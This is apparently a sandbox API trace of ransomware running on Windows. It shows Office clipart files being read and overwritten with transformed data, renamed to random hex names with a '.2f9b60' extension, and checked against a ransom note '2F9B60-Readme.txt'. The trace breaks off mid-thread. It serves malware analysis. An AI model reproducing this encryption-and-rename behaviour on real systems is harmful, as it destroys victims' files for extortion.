RtlInitAnsiString (in: DestinationString=0x2d9dfd08, SourceString="ea32907dfb1f62b16a096c71c875ba9e875bffe0534fecee" | out: DestinationString="ea32907dfb1f62b16a096c71c875ba9e875bffe0534fecee") [0106.382] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d9dfcd8, SourceString="ea32907dfb1f62b16a096c71c875ba9e875bffe0534fecee", AllocateDestinationString=1 | out: DestinationString="ea32907dfb1f62b16a096c71c875ba9e875bffe0534fecee") returned 0x0 [0106.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5780 [0106.383] RtlFreeAnsiString (AnsiString="e") [0106.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f630) returned 1 [0106.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0106.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced82b0) returned 1 [0106.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167700) returned 1 [0106.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7f20) returned 1 [0106.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8370) returned 1 [0106.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7680) returned 1 [0106.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced80d0) returned 1 [0106.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced84c0) returned 1 [0106.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7980) returned 1 [0106.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced85e0) returned 1 [0106.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1b7ad840 [0106.384] wcscat (in: _Dest=0x1b7ad840, _Source="ea32907dfb1f" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ea32907dfb1f") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ea32907dfb1f" [0106.384] wcscat (in: _Dest=0x1b7ad840, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ea32907dfb1f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ea32907dfb1f.2f9b60" [0106.384] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ea32907dfb1f.2f9b60", NtPathName=0x2d9dfcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ea32907dfb1f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0106.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x106880 [0106.384] NtSetInformationFile (FileHandle=0x15b0, IoStatusBlock=0x2d9dfd50, FileInformation=0x106880, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106880) returned 1 [0109.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf486d0) returned 1 [0109.674] NtQueryInformationFile (in: FileHandle=0x15b0, IoStatusBlock=0x2d9dfd18, FileInformation=0x2d9dfd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d9dfd18, FileInformation=0x2d9dfd28) returned 0x0 [0109.674] NtSetInformationFile (FileHandle=0x15b0, IoStatusBlock=0x2d9dfd18, FileInformation=0x2d9dfd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad840) returned 1 [0109.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5780) returned 1 [0109.704] FlushFileBuffers (hFile=0x15b0) returned 1 [0109.718] CloseHandle (hObject=0x15b0) returned 1 [0109.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x204ffc30 [0109.725] wcscpy (in: _Dest=0x204ffc30, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.725] wcscat (in: _Dest=0x204ffc30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffc30) returned 1 [0109.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d140) returned 1 Thread: id = 735 os_tid = 0x1260 [0096.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x20 [0106.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF", dwFileAttributes=0x20) returned 1 [0106.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15dc [0106.162] GetFileSizeEx (in: hFile=0x15dc, lpFileSize=0x2d91f800 | out: lpFileSize=0x2d91f800*=12982) returned 1 [0106.162] SetFilePointerEx (in: hFile=0x15dc, liDistanceToMove=0x32b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.162] ReadFile (in: hFile=0x15dc, lpBuffer=0x2d91f780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d91f7c8, lpOverlapped=0x0 | out: lpBuffer=0x2d91f780*, lpNumberOfBytesRead=0x2d91f7c8*=0x4, lpOverlapped=0x0) returned 1 [0106.167] SetFilePointerEx (in: hFile=0x15dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8610 [0106.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8880 [0106.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83a0 [0106.168] NtQuerySystemTime (in: CurrentTime=0x2d91f6c0 | out: CurrentTime=0x2d91f6c0*=132462177116566000) returned 0x0 [0106.168] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x4c0b6888 [0106.168] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x4e4d1d4c [0106.168] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x5847639 [0106.168] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x62eccca2 [0106.168] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x70a6e24d [0106.168] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x1e453439 [0106.168] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x6c66a06b [0106.168] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x3f186252 [0106.168] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x74585123 [0106.168] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x7399859b [0106.168] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x49baefa7 [0106.168] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x3e20a842 [0106.169] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x13329078 [0106.169] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x6c482d81 [0106.169] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x52730d34 [0106.169] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x7b80e812 [0106.169] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x251f22b [0106.169] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x75e71e77 [0106.170] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x51ca4b3d [0106.170] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x5a507bca [0106.170] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x295dcce1 [0106.170] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x7398cc8e [0106.170] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x74279924 [0106.170] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x39fbfd75 [0106.170] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x2f8a0e14 [0106.170] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x1cafafc1 [0106.170] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x33e91210 [0106.170] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x63bb32f8 [0106.170] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x52a97641 [0106.170] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x34805602 [0106.170] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x4974e501 [0106.170] RtlRandomEx (in: Seed=0x2d91f6b0 | out: Seed=0x2d91f6b0) returned 0x4ef9f398 [0106.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84c0 [0106.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867540 [0106.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7860 [0106.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867540) returned 1 [0106.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced83a0) returned 1 [0106.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8610) returned 1 [0106.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97760 [0106.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867540 [0106.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8610 [0106.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8610) returned 1 [0106.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f13cc0 [0106.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f39560 [0106.182] ReadFile (in: hFile=0x15dc, lpBuffer=0x41f13cc0, nNumberOfBytesToRead=0x32b6, lpNumberOfBytesRead=0x2d91f6b0, lpOverlapped=0x0 | out: lpBuffer=0x41f13cc0*, lpNumberOfBytesRead=0x2d91f6b0*=0x32b6, lpOverlapped=0x0) returned 1 [0106.252] SetFilePointerEx (in: hFile=0x15dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.252] WriteFile (in: hFile=0x15dc, lpBuffer=0x41f39560*, nNumberOfBytesToWrite=0x32b6, lpNumberOfBytesWritten=0x2d91f6b4, lpOverlapped=0x0 | out: lpBuffer=0x41f39560*, lpNumberOfBytesWritten=0x2d91f6b4*=0x32b6, lpOverlapped=0x0) returned 1 [0106.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a73a0 [0106.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7430 [0106.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7430) returned 1 [0106.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f39560) returned 1 [0106.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f13cc0) returned 1 [0106.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867540) returned 1 [0106.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0106.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a7430 [0106.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97760 [0106.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867540 [0106.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a72e0 [0106.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a72e0) returned 1 [0106.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a72e0 [0106.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7310 [0106.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7340 [0106.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7340) returned 1 [0106.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867540) returned 1 [0106.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0106.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167ca0 [0106.307] SetFilePointerEx (in: hFile=0x15dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0106.307] WriteFile (in: hFile=0x15dc, lpBuffer=0x167ca0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d91f7d0, lpOverlapped=0x0 | out: lpBuffer=0x167ca0*, lpNumberOfBytesWritten=0x2d91f7d0*=0x10a, lpOverlapped=0x0) returned 1 [0106.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0106.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6410 [0106.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6410) returned 1 [0106.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0106.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6410 [0106.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a62c0 [0106.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a62c0) returned 1 [0106.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0106.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0106.319] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="b1") returned 2 [0106.319] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="c2") returned 2 [0106.319] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="6f") returned 2 [0106.319] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="fd") returned 2 [0106.319] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="d1") returned 2 [0106.319] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="82") returned 2 [0106.319] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="52") returned 2 [0106.319] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="6a") returned 2 [0106.319] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="dc") returned 2 [0106.319] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="c7") returned 2 [0106.319] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="c7") returned 2 [0106.319] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="6d") returned 2 [0106.319] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="47") returned 2 [0106.319] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="51") returned 2 [0106.319] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="f5") returned 2 [0106.319] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="ae") returned 2 [0106.319] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="da") returned 2 [0106.319] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="e1") returned 2 [0106.319] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="16") returned 2 [0106.319] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="c9") returned 2 [0106.319] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="ca") returned 2 [0106.319] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="95") returned 2 [0106.319] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="c7") returned 2 [0106.320] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="36") returned 2 [0106.320] RtlInitAnsiString (in: DestinationString=0x2d91f848, SourceString="b1c26ffdd182526adcc7c76d4751f5aedae116c9ca95c736" | out: DestinationString="b1c26ffdd182526adcc7c76d4751f5aedae116c9ca95c736") [0106.320] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d91f818, SourceString="b1c26ffdd182526adcc7c76d4751f5aedae116c9ca95c736", AllocateDestinationString=1 | out: DestinationString="b1c26ffdd182526adcc7c76d4751f5aedae116c9ca95c736") returned 0x0 [0106.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8647d0 [0106.320] RtlFreeAnsiString (AnsiString="b") [0106.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f630) returned 1 [0106.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0106.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6410) returned 1 [0106.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167ca0) returned 1 [0106.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a72e0) returned 1 [0106.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7310) returned 1 [0106.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7430) returned 1 [0106.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a73a0) returned 1 [0106.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8880) returned 1 [0106.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced84c0) returned 1 [0106.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7860) returned 1 [0106.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1b7ad8e0 [0106.321] wcscat (in: _Dest=0x1b7ad8e0, _Source="b1c26ffdd182" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b1c26ffdd182") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b1c26ffdd182" [0106.321] wcscat (in: _Dest=0x1b7ad8e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b1c26ffdd182.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b1c26ffdd182.2f9b60" [0106.321] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b1c26ffdd182.2f9b60", NtPathName=0x2d91f7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b1c26ffdd182.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0106.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107a80 [0106.321] NtSetInformationFile (FileHandle=0x15dc, IoStatusBlock=0x2d91f890, FileInformation=0x107a80, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107a80) returned 1 [0109.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202900b0) returned 1 [0109.747] NtQueryInformationFile (in: FileHandle=0x15dc, IoStatusBlock=0x2d91f858, FileInformation=0x2d91f868, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d91f858, FileInformation=0x2d91f868) returned 0x0 [0109.747] NtSetInformationFile (FileHandle=0x15dc, IoStatusBlock=0x2d91f858, FileInformation=0x2d91f868, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad8e0) returned 1 [0109.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8647d0) returned 1 [0109.765] FlushFileBuffers (hFile=0x15dc) returned 1 [0109.777] CloseHandle (hObject=0x15dc) returned 1 [0109.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1730 [0109.788] wcscpy (in: _Dest=0x202b1730, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.788] wcscat (in: _Dest=0x202b1730, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1730) returned 1 [0109.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d1d0) returned 1 Thread: id = 736 os_tid = 0x1264 [0096.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x20 [0096.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF", dwFileAttributes=0x20) returned 1 [0100.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xef8 [0100.401] GetFileSizeEx (in: hFile=0xef8, lpFileSize=0x2d6bf9c0 | out: lpFileSize=0x2d6bf9c0*=9710) returned 1 [0100.401] SetFilePointerEx (in: hFile=0xef8, liDistanceToMove=0x25ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.401] ReadFile (in: hFile=0xef8, lpBuffer=0x2d6bf940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d6bf988, lpOverlapped=0x0 | out: lpBuffer=0x2d6bf940*, lpNumberOfBytesRead=0x2d6bf988*=0x4, lpOverlapped=0x0) returned 1 [0100.404] SetFilePointerEx (in: hFile=0xef8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263740 [0100.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202637d0 [0100.404] NtQuerySystemTime (in: CurrentTime=0x2d6bf880 | out: CurrentTime=0x2d6bf880*=132462177059314000) returned 0x0 [0100.404] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x2b8885dd [0100.404] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x5ef1ea32 [0100.404] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x8573c2 [0100.404] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x3ff545e7 [0100.404] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x5f634445 [0100.404] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x11109e4 [0100.405] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x39a26c41 [0100.405] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x5a8ef2ff [0100.405] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x425fa850 [0100.405] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0xf496e3e [0100.405] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x13c222ba [0100.405] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x1b6a24c7 [0100.405] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x5f4e218a [0100.405] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0xa674a09 [0100.405] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x805d6e6 [0100.405] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0xca8100 [0100.405] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x5781c597 [0100.405] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x3d7bf7ff [0100.405] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x46aa579a [0100.405] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x7b997b5d [0100.405] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x5dd95643 [0100.405] 